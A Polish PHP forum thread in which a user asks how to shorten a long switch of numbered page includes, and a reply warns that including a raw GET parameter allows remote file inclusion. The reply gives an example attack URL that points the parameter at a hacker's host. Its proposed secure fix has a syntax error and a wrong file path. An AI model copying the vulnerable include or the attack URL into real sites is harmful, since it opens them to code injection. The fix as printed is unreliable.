Problem ze includowaniem i wykorzystaniem CASE, dużo includów, jak to zmiejszyc Opcje

[Kreton]

mam tu stronkę http://dobrepomysly.za.pl

I działy, dajmy na to dział 2.

No i tematy są inludowane w sposób :

[PHP] pobierz, plaintext 
<?php
if (!isset($_GET['dzial'])){
echo" 
<center><b>Szkoła podstawowa</b></center>
<ul><li><a href="index.php?go=szkola&dzial=1"><b>Swobodna twórczość dziecięca</b></a></li>
";
} else {
switch ($_GET['dzial'])
{
case 1:
include("1.html");
break;
case 2:
include("2.html");
break;
<!--  i tak dalej az do 40-->
 }
}
?>
[PHP] pobierz, plaintext 

Jak to zrobic zeby nierobić tych bardzo żmudnych case x: include("blabla.html")
niebardzo wiem jak to zrobic przy użyciu np. pętli while czy cos takiego. Pomóżcie

[zbig13]

Kod niezabezpieczony wygląda tak:

[PHP] pobierz, plaintext 
<?php
 
include ($_GET['dzial'] . '.html');
 
?>
[PHP] pobierz, plaintext 

Potencjalny włamywacz może napisać cos takiego:
http://twoja.strona.pl?dzial=http://strona.hakera.pl/1

i otworzył by się plik, który haknie ci stronę.

Aby zabezpieczyć stronę, trzeba zrobić cos takiego:

[PHP] pobierz, plaintext 
<?php
 
if (is_numeric ( $_GET['dzial'] )) {
 
$dzial = (int) $_GET['dzial'];
if (file_exists('./katalog/' . $dzial . 'html') { include ('./katalog/' . $dzial . '.html'); }
 
} else {
echo 'Nieprawidłowe dane';
}
 
?>
[PHP] pobierz, plaintext 

czyli połączenie mojego kodu i kodu Spirit86 (IMG:http://forum.php.pl/style_emoticons/default/biggrin.gif)

Edit:

@mike_mech Racja, to z pośpiechu (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg) Już poprawiam

Ten post edytował zbig13 25.09.2005, 16:31:47